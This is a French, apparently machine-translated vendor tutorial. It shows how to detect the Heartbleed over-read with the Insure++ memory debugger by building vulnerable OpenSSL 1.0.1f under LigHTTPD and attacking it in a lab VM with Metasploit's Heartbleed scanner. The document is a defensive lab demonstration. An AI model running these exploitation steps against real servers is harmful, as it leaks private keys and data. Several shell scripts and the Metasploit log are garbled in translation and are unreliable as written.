Comment trouver des vulnérabilités dans le code à l'aide de la détection des erreurs d'exécution

Au lieu de vous fier à un scanner de sécurité pour détecter les vulnérabilités connues dans votre code, vous pouvez utiliser la détection des erreurs d'exécution pour rechercher les vulnérabilités de sécurité. Cette technique ne nécessite pas que les vulnérabilités soient déjà connues pour les détecter.

Pourquoi l'identification des vulnérabilités de sécurité est cruciale

La vulnérabilité Heartbleed a été découverte en 2014 dans OpenSSL et a suscité beaucoup d'intérêt et d'inquiétude en raison de l'adoption généralisée d'OpenSSL dans les applications open source et commerciales. Suite à cette découverte, des scanners de vulnérabilités spécifiques ont été mis à jour pour détecter Heartbleed, mais nous examinons aujourd'hui une technique différente que vous pouvez utiliser pour détecter les vulnérabilités de sécurité à l'aide de la détection des erreurs d'exécution.

Lorsque la nouvelle concernant la vulnérabilité OpenSSL Heartbleed a été publiée, le secteur a paniqué pour savoir comment corriger ou atténuer le problème. OpenSSL est une bibliothèque de chiffrement utilisée dans la communication HTTPS. HTTPS est censé être la version sécurisée de HTTP, donc une grande variété d'informations privées passant par les fils de la première ligne de protection Internet est OpenSSL. En tant que telle, la vulnérabilité Heartbleed expose les cartes de crédit, les numéros de sécurité sociale, les mots de passe et d'autres informations personnelles à un risque critique.

La vulnérabilité était causée par la fonctionnalité « heartbeat » rarement utilisée mais fréquemment activée d'OpenSSL. En envoyant à un serveur exécutant OpenSSL une requête de battement de cœur mal formée, une lecture excessive de la mémoire se produit, ce qui entraîne une fuite d'informations critiques dans le paquet de réponse. Lorsqu'il est correctement armé, cela permet une exfiltration presque indétectable d'OpenSSL privé, ce qui compromet toutes les communications sécurisées du serveur.

Lorsque les organisations ont réalisé que ce problème était réel, elles ont voulu vérifier si le problème existait dans leur propre code source. Au niveau le plus simple, vous pouvez corriger ou mettre à jour une ancienne version d'OpenSSL. Mais vous souhaiterez peut-être également tester pour vous assurer que le problème sous-jacent lui-même n’existe pas. Voyons comment la détection des erreurs d'exécution peut être utilisée avec les outils de pénétration traditionnels pour détecter avec précision les vulnérabilités.

Application de la détection des erreurs d'exécution pour la sécurité

Parasoft Insure ++ est un outil de débogage de mémoire qui utilise des techniques d'instrumentation brevetées pour identifier rapidement les fuites et autres problèmes de mémoire. La détection de la mémoire sur les lectures est incroyablement difficile (voire impossible) avec les débogueurs traditionnels, mais extrêmement facile avec Parasoft
Assurez ++.

La vulnérabilité Heartbleed a été découverte à l'origine par les ingénieurs en sécurité de Codenomicon et de Google Security. Il a fallu beaucoup d'efforts non seulement pour trouver la vulnérabilité, mais aussi pour prouver que la vulnérabilité importait et atténuer complètement le problème. Ici, je vais vous montrer comment un bon outil de découverte de vulnérabilité tel qu'un fuzzer combiné à Insure ++ aurait considérablement facilité le processus de détermination de l'impact de la vulnérabilité et de sa correction.

Étant donné que le cœur de Heartbleed est un problème de sur-lecture de la mémoire, nous utiliserons Parasoft Insure ++ pour démontrer sur une vulnérabilité réelle à quel point il est plus facile de diagnostiquer et de corriger les bogues critiques avec les bons outils!

Premiers pas avec la détection des erreurs d'exécution : configuration de la machine virtuelle de la victime

C'est sur la machine virtuelle de la victime que nous allons configurer LigHTTPD pour utiliser une version d'OpenSSL vulnérable à l'attaque Heartbleed. J'ai choisi CentOS 7 comme système d'exploitation pour la machine virtuelle victime. Assurez-vous de sélectionner les outils de développement lors de l'installation pour inclure le compilateur GCC et les autres fichiers d'en-tête requis.

Lors de la configuration du réseau de la machine virtuelle, gardez à l'esprit d'où vous allez lancer l'attaque. J'ai choisi d'attaquer à partir de la machine hôte, j'ai donc inclus un adaptateur réseau hôte uniquement. Installer Metasploit sur la machine qui va effectuer l'attaque.

Enfin, installez Parasoft Insure ++ sur la machine virtuelle victime!

Mise en page du projet

Le projet sera présenté comme suit:

 ~/heartbleed :: Le répertoire principal dans lequel nous allons travailler.
 ~/heartbleed/env :: Le répertoire que nous ciblerons comme préfixe d'installation.
 ~/heartbleed/src :: Le répertoire où nous allons télécharger le code source et faire la compilation.
 ~/heartbleed/srv :: Le répertoire contenant notre site Web LigHTTPD.

Construire OpenSSL avec Insure++ et installer

L'étape vers la démonstration de la vulnérabilité Heartbleed consiste à créer OpenSSL avec l'instrumentation Insure++. Pour exploiter la vulnérabilité Heartbleed, nous devrons créer une version d'OpenSSL publiée avant la correction du bug. La dernière version d'OpenSSL contenant la vulnérabilité Heartbleed était la version 1.0.1, nous l'utiliserons donc.

 $ cd /home/USER/heartbleed/src  $ wget https://www.openssl.org/source/old/1.0.1/openssl-1.0.1f.tar.gz  $ tar xf openssl-1.0.1f.tar.gz  $ cd openssl-1.0.1f

La prochaine chose que nous devons faire est de configurer notre source. Pour accélérer ce processus, nous allons créer le script suivant dans le répertoire source OpenSSL. Le script suppose que insure et gcc sont inclus dans le PATH du shell actuel. Nommez le script quelque chose comme configure_openssl.sh

 #!/usr/bin/env bash

 CC="$(command -v insure) $(command -v gcc)" \
 CXX="$(command -v insure) $(command -v g++)" \
 ./config -d shared --prefix=/home/USER/heartbleed/env

La -d flag configure OpenSSL pour inclure les symboles de débogage requis par Insure ++. La directive shared configure OpenSSL pour générer des bibliothèques partagées.

   --prefix=/home/USER/heartbleed/env 

flag configure OpenSSL pour l'installation dans ce répertoire.

Maintenant courez ~/configure_openssl.sh dans le répertoire source OpenSSL pour configurer la source.

 $ pwd
 /home/USER/heartbleed/src/openssl-1.0.1f
 $ chmod +x configure_openssl.sh
 $ ./configure_openssl.sh

L'étape suivante consiste à compiler en utilisant make. Make accepte un indicateur -j pour spécifier le nombre de travaux de compilation à exécuter en parallèle. Insure ++ prend entièrement en charge cette compilation parallèle qui nous permet d'accélérer la compilation en spécifiant le nombre de cœurs disponibles pour la machine virtuelle victime.

$ make -j4

Lors de l'exécution de make avec l'instrumentation Insure ++, une fenêtre Insra apparaîtra indiquant quels fichiers sont instrumentés lors de la compilation.

Normalement, nous lancerions make install après la construction, mais il y a un problème avec la création de fichier man en raison de l'ancienne version de pod2man incluse avec CentOS 7 ne prenant pas en charge le format utilisé par OpenSSL. Pour éviter cela, nous installons uniquement le logiciel au lieu de patcher de nombreux fichiers POD à la main.

$ make install_sw

Construire et installer LigHTTPD

La prochaine étape consiste à construire LigHTTPD avec notre version instrumentée Insure ++ d'OpenSSL. Puisque nous sommes intéressés par la vulnérabilité Heartbleed dans OpenSSL et non par un comportement de LigHTTPD, nous allons construire sans instrumentation Insure ++. Bien que nous n'utilisions pas Insure ++ pour compiler LigHTTPD, nous devrons toujours utiliser Insure ++ pour la liaison puisque nous lions avec la version instrumentée d'Insure ++ d'OpenSSL.

Nous allons obtenir le code source d'une version récente de LigHTTPD à construire.

$ cd /home/USER/heartbleed/src  $ wget https://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-1.4.49.tar.xz  $ tar xf lighttpd-1.4.49.tar.xz  $ cd lighttpd-1.4.49

Nous devons maintenant configurer la source LigHTTPD pour qu'elle se lie correctement à la fois à l'instrumentation Insure ++ et à notre version d'OpenSSL. Nous allons créer le script suivant dans le répertoire source de LigHTTPD pour accomplir cela. Nommez le script de configuration quelque chose comme configure_lighttpd.sh.

 #! / usr / bin / env bash OPENSSL_PATH = '/ home / USER / heartbleed / env' INSURE_PATH = '/ home / USER / insure' MY_LIBS = '- linsure -linsure_mt -ldl' MY_LIB_PATHS = "- L $ {OPENSSL_PATH} / lib -L $ {INSURE_PATH} / lib "MY_LD_LIB_PATHS =" $ {OPENSSL_PATH} / lib: $ {INSURE_PATH} / lib "MY_FLAGS =" $ MY_LIB_PATHS $ MY_LIBS "CC =" $ (commande -v gcc) "\ CXX = "$ (commande -v g ++)" \ CFLAGS = "$ MY_FLAGS" \ CPPFLAGS = "$ MY_FLAGS" \ LDFLAGS = "$ MY_LIB_PATHS" \ LD_LIBRARY_PATH = "$ MY_LD_LIB_PATHS" \ --prefix = / home / USER / heartbleed \ --with-openssl \ --with-openssl-includes = / home / USER / heartbleed / env / include \ --with-openssl-libs = / home / USER / heartbleed / env / lib

Avant d'exécuter ce script de configuration, assurez-vous d'installer les en-têtes bzip2 requis pour LigHTTPD.

sudo yum install bzip2-devel

Exécutez le script à partir du répertoire LigHTTPD.

 $ pwd
 /home/USER/heartbleed/src/lighttpd-1.4.49
 $ chmod +x configure_lighttpd.sh
 $ ./configure_lighttpd.sh

Maintenant que la source est configurée, nous devons effectuer une étape supplémentaire inhabituelle. Puisque LigHTTPD utilise libtool pour la liaison de bibliothèques, nous devons le configurer pour utiliser Insure ++ pour la dernière étape de liaison.

Modifiez le fichier /home/USER/heartbleed/srv/lighttpd-1.4.49/src/Makefile en remplaçant la ligne suivante…

CCLD = $(CC)

En vous assurant que les chemins correspondent à votre configuration…

CCLD = '/home/USER/insure/bin/insure /usr/bin/gcc'

Maintenant que la source est configurée, nous pouvons procéder à la construction du code source
et installer.

 $ make -j4
 $ make install

Configurer LigHTTPD

Maintenant que nous avons LigHTTPD construit avec un OpenSSL instrumenté par Insure ++, nous devons créer une configuration simple pour que LigHTTPD fonctionne. Tout d'abord, nous créons un simple "Hello world!" Page HTML dans /home/USER/heartbleed/srv/index.html~ comme suit…

<html>
   <head>
     <title>Heartbleed Demo</title>
   </head>
   <body>
     <h1>Hello world!</h1>
   </body>
 </html>

La configuration suivante lors de la configuration consiste à générer un fichier PEM SSL pour que LigHTTPD
utiliser pour HTTPS.

 $ cd /home/USER/heartbleed/  $ openssl req -x509 -nodes -days 7300 -newkey rsa:2048 -sha256 -keyout server.pem -out server.pem

Assurez-vous de remplir l'adresse e-mail, l'emplacement physique et les champs d'organisation comme indiqué ci-dessus, car nous les rechercherons plus tard dans la mémoire perdue!

Enfin, nous créons un fichier de configuration simple à /home/USER/heartbleed/lighttpd.conf comme suit. Assurez-vous de corriger l'utilisateur, les groupes et les chemins en fonction de votre configuration. Notez que nous utilisons les ports non standard 8080 pour HTTP et 4443 pour HTTPS pour éviter d'avoir à exécuter LigHTTPD en tant que root.

 server.modules = ("mod_openssl", "mod_access", "mod_accesslog",) server.port = 8080 server.username = "USER" server.groupname = "GROUP" server.document-root = "/ home / USER / heartbleed / srv "server.errorlog =" /home/USER/heartbleed/lighttpd_error.log "accesslog.filename =" /home/USER/heartbleed/lighttpd_access.log "dir-listing.activate =" activer "index-file.names = ("index.html") mimetype.assign = (".html" => "text / html", ".txt" => "text / plain", ".css" => "text / css", ". js "=>" application / x-javascript "," .jpg "=>" image / jpeg "," .jpeg "=>" image / jpeg "," .gif "=>" image / gif ",". png "=>" image / png "," "=>" application / octet-stream ",) $ SERVER [" socket "] ==": 4443 "{ssl.engine =" enable "ssl.pemfile =" / home / USER / heartbleed / server.pem "}

Exécution de LigHTTPD

Créez le script suivant dans /home/USER/heartbleed/run_lighttpd.sh. Nous devons spécifier le LD_LIBRARY_PATH puisque nous utilisons des chemins non standard pour les bibliothèques. Assurez-vous de corriger le chemin pour qu'il corresponde au dossier de base de vos utilisateurs.

 #! / usr / bin / env bash LD_LIBRARY_PATH = '/ home / USER / heartbleed / env / lib: / home / USER / insure / lib' \ / home / USER / heartbleed / env / sbin / lighttpd \ -D \ - f /home/USER/heartbleed/lighttpd.conf

Exécutez le script pour lancer LigHTTPD!

$ pwd
 /home/USER/heartbleed
 $ chmod +x run_lighttpd.sh
 $ ./run_lighttpd.sh

Exécution de Metasploit

Maintenant que LigHTTPD est opérationnel avec notre OpenSSL instrumenté Insure ++, il est maintenant temps de lancer notre attaque! Nous utiliserons Metasploit pour lancer notre attaque. Metasploit est un outil pour de nombreuses tâches de sécurité de l'information, y compris l'exploitation et le contournement de la sécurité des logiciels. Il comprend un scanner pour Heartbleed qui exploite partiellement la vulnérabilité pour démontrer
susceptibilité.

La première chose à faire est d'installer Metasploit sur votre système attaquant. J'ai choisi de lancer mes attaques depuis l'hôte de la machine virtuelle et j'ai donc installé Metasploit là-bas. Je ne parlerai pas de l'installation de Metasploit car elle sort du cadre de cette démo. Une fois Metasploit installé, lancez
la console Metasploit.

 $ msfconsole

Cela affichera une invite pour le framework Metasploit. À partir de cette invite, recherchons dans Metasploit les outils Heartbleed qu'il fournit.

 msf > search heartbleed  Matching Modules  ================  Name Disclosure Date Rank Description  ---- --------------- ---- -----------  auxiliary/scanner/ssl/openssl_heartbleed 2014-04-07 normal OpenSSL Heartbeat (Heartbleed) Information Leak  auxiliary/server/openssl_heartbeat_client_memory 2014-04-07 normal OpenSSL Heartbeat (Heartbleed) Client Memory Exposure

Nous utiliserons le scanner Heartbleed de Metasploit mentionné précédemment.

 msf > use auxiliary/scanner/ssl/openssl_heartbleed

De là, nous voulons définir les options du scanner openssl_heartbleed. Nous allons d'abord activer la sortie détaillée pour voir la sortie détaillée pendant l'exploitation. Ensuite, nous définissons l'adresse IP et le port de l'hôte distant sur la cible d'attaque. Assurez-vous de modifier l'adresse IP et le port de l'hôte pour qu'ils correspondent à votre configuration.

 msf auxiliary(scanner/ssl/openssl_heartbleed) > set verbose true  verbose => true  msf auxiliary(scanner/ssl/openssl_heartbleed) > set rhosts 192.168.56.102  rhosts => 192.168.56.102  msf auxiliary(scanner/ssl/openssl_heartbleed) > set RPORT 4443  RPORT => 4443

Si nous exécutons set sans aucun argument, nous pouvons voir quels arguments ont été définis pour l'outil actuel. Il est important de vérifier ces options avant de lancer une analyse ou un exploit dans Metasploit car le ciblage du mauvais système pourrait perturber ou endommager des cibles involontaires.

 msf auxiliary(scanner/ssl/openssl_heartbleed) > set  Global  ======  No entries in data store.  Module: scanner/ssl/openssl_heartbleed  ======================================  Name                 Value  ----                 -----  CHOST  CPORT  ConnectTimeout       10  DUMPFILTER  HEARTBEAT_LENGTH     65535  MAX_KEYTRIES         50  Proxies  RESPONSE_TIMEOUT     10  RHOSTS               192.168.56.102  RPORT                4443  SSL                  false  SSLCipher  SSLVerifyMode        PEER  SSLVersion           Auto  STATUS_EVERY         5  ShowProgress         true  ShowProgressPercent  10  TCP::max_send_size   0  TCP::send_delay      0  THREADS              1  TLS_CALLBACK         None  TLS_VERSION          1.0  VERBOSE              true  WORKSPACE  XMPPDOMAIN           localhost

Maintenant que nous avons configuré toutes les options et confirmé que nous n'attaquons pas quelque chose que nous n'avions pas l'intention de faire, nous pouvons lancer notre attaque!

 msf auxiliaire (scanner / ssl / openssl_heartbleed)> exploit [*] 192.168.56.102:4443 - Client d'envoi Bonjour ... [*] 192.168.56.102:4443 - Enregistrement SSL # 1: [*] 192.168.56.102:4443 - Type : 22 [*] 192.168.56.102:4443 - Version: 0x0301 [*] 192.168.56.102:4443 - Longueur: 86 [*] 192.168.56.102:4443 - Poignée de main # 1: [*] 192.168.56.102:4443 - Longueur: 82 [*] 192.168.56.102:4443 - Type: Server Hello (2) [*] 192.168.56.102:4443 - Server Hello Version: 0x0301 [*] 192.168.56.102:4443 - Server Hello Données aléatoires: f6150b7136c5047cc899660bdd8c7c93cc52b4425cf50756367f6f3 .78: 4 - Longueur de l'ID de session Server Hello: 192.168.56.102 [*] 4443:32 - ID de session Server Hello: 192.168.56.102fc4443c6e69adc504f53f8611f353a010ce427edf01f9530fa77e84f71db [*] 5238660:7 - Enregistrement SSL # 192.168.56.102:4443 * Type: 2 [*] 192.168.56.102:4443 - Version: 22x192.168.56.102 [*] 4443:0 - Longueur: 0301 [*] 192.168.56.102:4443 - Poignée de main # 1033: [*] 192.168.56.102:4443 - Longueur : 1 [*] 192.168.56.102 4443: 1029 - Type: Données de certificat (192.168.56.102) [*] 4443:11 - Longueur des certificats: 192.168.56.102 [*] 4443:1026 - Longueur des données: 192.168.56.102 [*] 4443:1029 - Numéro de certificat 192.168.56.102: [*] 4443:1 - Certificat # 192.168.56.102: Longueur: 4443 [*] 1:1023 - Certificat # 192.168.56.102: #  , émetteur = # , série = # , not_before = 4443-1-509 509:0:000055 UTC, not_after = 722236070-509-0 000055:7222360:0 UTC> [*] 0:000055 - Enregistrement SSL n ° 722236110: [*] 2018: 09 - Type: 24 [*] 23:24 - Version: 45x2038 [*] 09:19 - Longueur: 23 [*] 24:45 - Poignée de main # 192.168.56.102: [*] 4443:3 - Durée: 192.168.56.102 [*] 4443:22 - Type: Échange de clé de serveur (192.168.56.102) [*] 4443:0 - Enregistrement SSL n ° 0301: [*] 192.168.56.102:4443 - Type: 331 [*] 192.168.56.102:4443 - Version: 1x192.168.56.102 [*] 4443:327 - Durée: 192.168.56.102 [*] 4443:12 - Poignée de main # 192.168.56.102: [*] 4443:4 - Longueur: 192.168.56.102 [*] 4443 .22: 192.168.56.102 - Type: Server Hello Done (4443) [*] 0:0301 - Envoi de Heartbeat ... [*] 192.168.56.102:4443 - Heartbeat response, 4 octets [+] 192.168.56.102:4443 - Réponse de pulsation avec fuite [*] 1:192.168.56.102 - Informations imprimables divulguées: [*] Analyse de 4443 hôte sur 0 (192.168.56.102% terminé) [*] Exécution du module auxiliaire terminée

La ligne après «Information imprimable fuite:» a été supprimée car elle est extrêmement longue. Certains octets pertinents sont présentés ci-dessous:

: .x.. o..PNS..a.5?..Bz...0.....q.#.`................................0...0...
: ............1(..0...*.H........0..1.0...U....US1.0...U....California1.0...U
: ....Monrovia1.0...U....Parasoft1.0...U....C++Test1.0...U....rojogorra1#0!..
: *.H........noreply.com0...180924232445Z..380919232445Z0..1.0...U....US1.0..
: .U....California1.0...U....Monrovia1.0...U....Parasoft1.0...U....C++Test1.0
: ...U....rojogorra1#0!..*.H........noreply.com0.."0...*.H.............0.....
: ....${(.........o..qC.9M...>..:.q.lN.#...F.._M^....1<..Rb...G.h/l.../S..2.3

Comme vous pouvez le voir, l'exploit a réussi à faire fuir la mémoire d'OpenSSL contenant notre clé PEM! Si vous recherchez dans la mémoire qui a fui, vous trouverez l'adresse e-mail, l'emplacement physique et les informations d'organisation que vous avez renseignées lors de la création du fichier PEM utilisé par LigHTTPD.

Examen des résultats Insure++ Insra et TCA

Depuis notre machine virtuelle victime, nous voyons la sortie Insure ++ dans Insra lorsque nous lançons LigHTTPD. Lors de l'exécution initiale, un USER_ERROR se produit que nous ignorerons car il n'a rien à voir avec Heartbleed.

Après avoir exécuté l'exploit Heartbleed dans Metasploit, nous pouvons voir la ligne de code exacte où se produit la sur-lecture de la mémoire tampon qui provoque une fuite de la mémoire interne!

Un double clic sur la ligne READ_OVERFLOW ouvre une autre fenêtre contenant des détails supplémentaires, y compris une trace de l'endroit où le bloc de mémoire a été alloué et une trace de la pile de l'endroit où le dépassement de capacité de lecture s'est produit.

Les exécutables instrumentés avec Insure ++ génèrent un tca.log fichier lors de l'exécution. TCA signifie «analyse de la couverture totale». Nous pouvons ouvrir ce fichier journal avec l'outil TCA inclus avec Insure ++ pour voir des informations détaillées sur notre couverture de code.

$ TCA tca.log

Dans la capture d'écran suivante, vous pouvez voir TCA afficher les résultats de notre tca.log obtenu après l'exécution de l'exploit Metasploit Heartbleed. J'ai trié le rapport par fichier et mis en évidence t1_lib.c où la vulnérabilité existe. Comme vous pouvez le constater, nous n'avons couvert que 13 % du code du fichier.

Double-cliquez sur le t1_lib.c La ligne entraînera l’ouverture d’une autre fenêtre. Dans cette fenêtre, nous pouvons voir la couverture en t1_lib.c triés par fonction. J'ai mis en évidence la fonction où se produit la vulnérabilité Heartbleed. Comme vous pouvez le voir, nous n'avons couvert qu'environ 45% du code dans la fonction.

De plus, un double-clic sur le nom de la fonction affiche le code source avec le code couvert en noir et le code non couvert en rouge.

Conclusion

Comme vous pouvez le voir, Parasoft Insure ++ a rendu la détection de Heartbleed triviale. Non seulement Insure ++ a détecté la mémoire lors de la lecture, mais il a également généré:

• Une trace de pile de l'endroit où la mémoire sur lecture s'est produite.
• Une trace de pile de l'endroit où la mémoire elle-même a été allouée.
• Un journal détaillé des chemins de code couverts.

Ces fonctionnalités font d'Insure ++ quelque chose qui s'intégrerait bien dans la ceinture à outils de tout chercheur en sécurité de l'information. Ainsi, même si vous êtes probablement familiarisé avec l'utilisation de divers outils SAST et outils de pénétration pour trouver des vulnérabilités de sécurité, vous devriez penser à ajouter la détection des erreurs d'exécution à votre boîte à outils de test de sécurité.